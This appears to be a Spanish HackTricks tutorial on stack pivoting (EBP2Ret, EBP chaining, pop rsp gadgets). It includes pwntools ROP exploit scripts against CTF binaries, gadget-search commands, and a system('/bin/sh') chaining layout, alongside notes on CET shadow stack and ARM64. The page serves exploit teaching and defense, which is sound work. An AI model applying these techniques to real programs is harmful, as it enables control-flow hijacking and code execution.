Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 13 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información Básica

Esta técnica explota la capacidad de manipular el Base Pointer (EBP/RBP) para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del puntero de marco y la secuencia de instrucciones leave; ret.

Como recordatorio, en x86/x86-64 leave es equivalente a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Y como el EBP/RBP guardado está en la pila antes del EIP/RIP guardado, es posible controlarlo al controlar la pila.

Notas

  • En 64 bits, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma.
  • Algunos compiladores omiten el puntero de marco (ver “EBP podría no ser utilizado”). En ese caso, leave podría no aparecer y esta técnica no funcionará.

EBP2Ret

Esta técnica es particularmente útil cuando puedes alterar el EBP/RBP guardado pero no tienes una forma directa de cambiar EIP/RIP. Aprovecha el comportamiento del epílogo de la función.

Si, durante la ejecución de fvuln, logras inyectar un EBP falso en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode/cadena ROP (más 8 bytes en amd64 / 4 bytes en x86 para tener en cuenta el pop), puedes controlar indirectamente RIP. A medida que la función retorna, leave establece RSP en la ubicación creada y el subsiguiente pop rbp disminuye RSP, haciendo que apunte efectivamente a una dirección almacenada por el atacante allí. Luego ret usará esa dirección.

Nota cómo necesitas conocer 2 direcciones: la dirección a la que ESP/RSP va a ir, y el valor almacenado en esa dirección que ret consumirá.

Construcción de Exploit

Primero necesitas conocer una dirección donde puedes escribir datos/direcciones arbitrarias. RSP apuntará aquí y consumirá el primer ret.

Luego, necesitas elegir la dirección utilizada por ret que transferirá la ejecución. Podrías usar:

  • Una dirección válida de ONE_GADGET.
  • La dirección de system() seguida del retorno y argumentos apropiados (en x86: ret objetivo = &system, luego 4 bytes basura, luego &"/bin/sh").
  • La dirección de un gadget de jmp esp; (ret2esp) seguido de shellcode en línea.
  • Una cadena ROP en memoria escribible.

Recuerda que antes de cualquiera de estas direcciones en el área controlada, debe haber espacio para el pop ebp/rbp de leave (8B en amd64, 4B en x86). Puedes abusar de estos bytes para establecer un segundo EBP falso y mantener el control después de que la primera llamada retorne.

Exploit Off-By-One

Hay una variante utilizada cuando solo puedes modificar el byte menos significativo del EBP/RBP guardado. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con ret debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Usualmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.

También es común usar un RET sled en la pila y poner la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.

Encadenamiento de EBP

Al colocar una dirección controlada en el espacio de EBP guardado de la pila y un gadget de leave; ret en EIP/RIP, es posible mover ESP/RSP a una dirección controlada por el atacante.

Ahora RSP está controlado y la siguiente instrucción es ret. Coloca en la memoria controlada algo como:

  • &(next fake EBP) -> Cargado por pop ebp/rbp de leave.
  • &system() -> Llamado por ret.
  • &(leave;ret) -> Después de que system termine, mueve RSP al siguiente EBP falso y continúa.
  • &("/bin/sh") -> Argumento para system.

De esta manera, es posible encadenar varios EBP falsos para controlar el flujo del programa.

Esto es como un ret2lib, pero más complejo y solo útil en casos extremos.

Además, aquí tienes un ejemplo de un desafío que utiliza esta técnica con un leak de pila para llamar a una función ganadora. Este es el payload final de la página:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

consejo de alineación amd64: System V ABI requiere alineación de pila de 16 bytes en los sitios de llamada. Si tu cadena llama a funciones como system, agrega un gadget de alineación (por ejemplo, ret, o sub rsp, 8 ; ret) antes de la llamada para mantener la alineación y evitar fallos de movaps.

EBP podría no ser utilizado

Como se explica en esta publicación, si un binario se compila con algunas optimizaciones o con omisión del puntero de marco, el EBP/RBP nunca controla ESP/RSP. Por lo tanto, cualquier exploit que funcione controlando EBP/RBP fallará porque el prólogo/epílogo no se restaura desde el puntero de marco.

  • No optimizado / puntero de marco utilizado:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizado / puntero de marco omitido:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

En amd64, a menudo verás pop rbp ; ret en lugar de leave ; ret, pero si el puntero de marco se omite por completo, entonces no hay un epílogo basado en rbp para pivotar.

Otras formas de controlar RSP

Gadget pop rsp

En esta página puedes encontrar un ejemplo usando esta técnica. Para ese desafío, era necesario llamar a una función con 2 argumentos específicos, y había un gadget pop rsp y hay una fuga de la pila:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Consulta la técnica ret2esp aquí:

Ret2esp / Ret2reg

Encontrar gadgets de pivote rápidamente

Usa tu buscador de gadgets favorito para buscar primitivas de pivote clásicas:

  • leave ; ret en funciones o en bibliotecas
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (o add esp, <imm> ; ret en x86)

Ejemplos:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Patrón clásico de preparación de pivote

Una estrategia de pivote robusta utilizada en muchos CTFs/exploits:

  1. Utiliza un desbordamiento inicial pequeño para llamar a read/recv en una región escribible grande (por ejemplo, .bss, heap o memoria RW mapeada) y coloca allí una cadena ROP completa.
  2. Retorna a un gadget de pivote (leave ; ret, pop rsp, xchg rax, rsp ; ret) para mover RSP a esa región.
  3. Continúa con la cadena preparada (por ejemplo, filtra libc, llama a mprotect, luego read shellcode, y luego salta a ello).

Mitigaciones modernas que rompen el pivoteo de pila (CET/Shadow Stack)

Las CPUs y sistemas operativos x86 modernos implementan cada vez más CET Shadow Stack (SHSTK). Con SHSTK habilitado, ret compara la dirección de retorno en la pila normal con una pila sombra protegida por hardware; cualquier discrepancia genera un fallo de Control-Protection y termina el proceso. Por lo tanto, técnicas como EBP2Ret/leave;ret basadas en pivotes fallarán tan pronto como se ejecute el primer ret desde una pila pivotada.

  • Para más información y detalles más profundos, consulta:

CET & Shadow Stack

  • Comprobaciones rápidas en Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notas para labs/CTF:

  • Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel del sistema mediante el parámetro de arranque del kernel nousershstk, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción.

  • Las técnicas basadas en JOP/COOP o SROP podrían seguir siendo viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en ret.

  • Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel, construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en ret; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia).

ARM64

En ARM64, los prologues y epílogos de las funciones no almacenan ni recuperan el registro SP en la pila. Además, la instrucción RET no regresa a la dirección apuntada por SP, sino a la dirección dentro de x30.

Por lo tanto, por defecto, solo abusando del epílogo no podrás controlar el registro SP sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de controlar el registro x30.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP apunta al registro de marco
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder controlar el SP (controlando algún registro cuyo valor se pasa a SP o porque por alguna razón SP está tomando su dirección de la pila y tenemos un desbordamiento) y luego abusar del epílogo para cargar el registro x30 desde un SP controlado y RET a él.

También en la siguiente página puedes ver el equivalente de Ret2esp en ARM64:

Ret2esp / Ret2reg

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks